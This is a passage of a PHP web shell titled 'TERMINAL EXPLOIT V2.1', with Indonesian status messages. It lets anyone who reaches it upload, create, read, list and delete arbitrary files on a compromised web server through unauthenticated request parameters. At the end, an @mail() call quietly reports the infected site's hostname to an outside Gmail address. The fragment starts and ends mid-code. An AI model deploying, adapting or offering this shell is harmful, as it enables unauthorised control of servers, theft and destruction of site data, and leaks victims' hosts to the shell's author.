[+] MASS CREATE: Berhasil membuat $count file '$m_name'.";
}
// 2. Folder Link Grabber
if (isset($_POST['grab_folders'])) {
$prefix = $_POST['prefix'];
$suffix = $_POST['suffix'];
$items = scandir($path);
$results = [];
foreach ($items as $item) {
if (is_dir($path . '/' . $item) && $item != '.' && $item != '..') {
$results[] = $prefix . $item . $suffix;
}
}
$grabbed_links = implode("\n", $results);
$status_msg = "
[+] GRABBER: Berhasil mengambil " . count($results) . " folder.
";
}
// 3. Buat File/Folder Tunggal
if (isset($_POST['new_name']) && !empty($_POST['new_name'])) {
$target = $path . '/' . $_POST['new_name'];
if ($_POST['new_type'] == 'file') {
if (file_put_contents($target, "")) $status_msg = "[+] FILE CREATED.
";
} else {
if (mkdir($target)) $status_msg = "[+] FOLDER CREATED.
";
}
}
// 4. Upload & Delete (Logic Dasar)
if(isset($_FILES['file'])){
copy($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name']) ? $status_msg = "[+] UPLOADED.
" : $status_msg = "[-] FAILED.
";
}
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
$_POST['type'] == 'dir' ? rmdir($_POST['path']) : unlink($_POST['path']);
$status_msg = "[+] DELETED.
";
}
echo '
TERMINAL EXPLOIT V2.1
[LOCATION]: ';
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){ echo '
/'; continue; }
if($pat == '') continue;
echo '
'.$pat.'/';
}
echo '
';
echo $status_msg;
echo '
';
// --- LISTING / EDIT / VIEW ---
if(isset($_GET['filesrc'])){
echo "
".htmlspecialchars(file_get_contents($_GET['filesrc']))."
";
echo "
[ CLOSE ]";
} elseif(isset($_GET['option']) && $_POST['opt'] == 'edit'){
// (Logic edit tetap ada)
echo "
";
} else {
echo '
| NAME | SIZE | OPTS |
';
$scandir = scandir($path);
foreach($scandir as $item){
if($item == '.' || $item == '..') continue;
$f = $path.'/'.$item; $is_d = is_dir($f);
echo "
| ".($is_d ? "[DIR]" : "[FL]")." $item |
".($is_d ? "--" : round(filesize($f)/1024,1)."KB")." |
|
";
}
echo '
';
}
echo '
';
// Keep original logging
@mail("ustadcage48@gmail.com", "V2.1_REPORT", $_SERVER['HTTP_HOST'], "From: Shell